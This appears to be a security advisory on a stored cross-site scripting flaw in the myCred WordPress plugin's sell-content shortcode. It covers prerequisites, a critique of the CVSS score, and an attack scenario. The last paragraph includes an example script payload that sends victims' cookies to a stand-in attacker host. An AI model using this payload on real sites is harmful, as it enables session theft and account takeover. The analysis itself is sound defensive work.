myCred WordPress Plugin EUVD-2026-74759

Exploitation requires the attacker to hold a Contributor-level (or higher) WordPress account on the target site, which is confirmed by the CVSS PR:L metric. The myCred plugin must be installed and active, and specifically the sell-content addon must be enabled (the vulnerability is isolated to that addon's shortcode handler). The injected payload executes when any user - unauthenticated or authenticated - views a page containing the malicious shortcode. Sites with open registration where Contributors can publish shortcode-bearing content without editorial review face elevated risk. Sites that require editorial approval before publishing (default WordPress behavior with Contributors) delay but do not eliminate risk if an editor approves the malicious post.

The provided CVSS 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) warrants scrutiny: the UI:N metric is inconsistent with stored XSS semantics, since a victim must navigate to the injected page for the payload to fire - that constitutes user interaction (UI:R) under strict CVSS 3.1 interpretation. Applying UI:R would reduce the score to approximately 5.4. The S:C scope-change is correctly assigned, as the payload executes in the victim's browser context rather than the server. PR:L (contributor access) is the primary gating factor; on WordPress sites with open registration or contributor roles granted to untrusted users, exploitation is straightforward. EPSS data is not provided, and the vulnerability is not in CISA KEV. No public exploit code is confirmed. Real-world risk is moderate: the attack is network-reachable and low-complexity once contributor access is obtained, but that prerequisite limits automated mass exploitation.

An attacker registers or obtains a Contributor-level account on the target WordPress site, then creates or edits a post using the myCred sell-content shortcode with a 'wrapper' attribute containing a JavaScript payload (e.g., wrapper='<script>document.location="https://attacker.example/steal?c="+document.cookie</script>'). The post is published and, when any authenticated user - including administrators - views the page, the script fires and transmits session cookies to the attacker's server, enabling account takeover.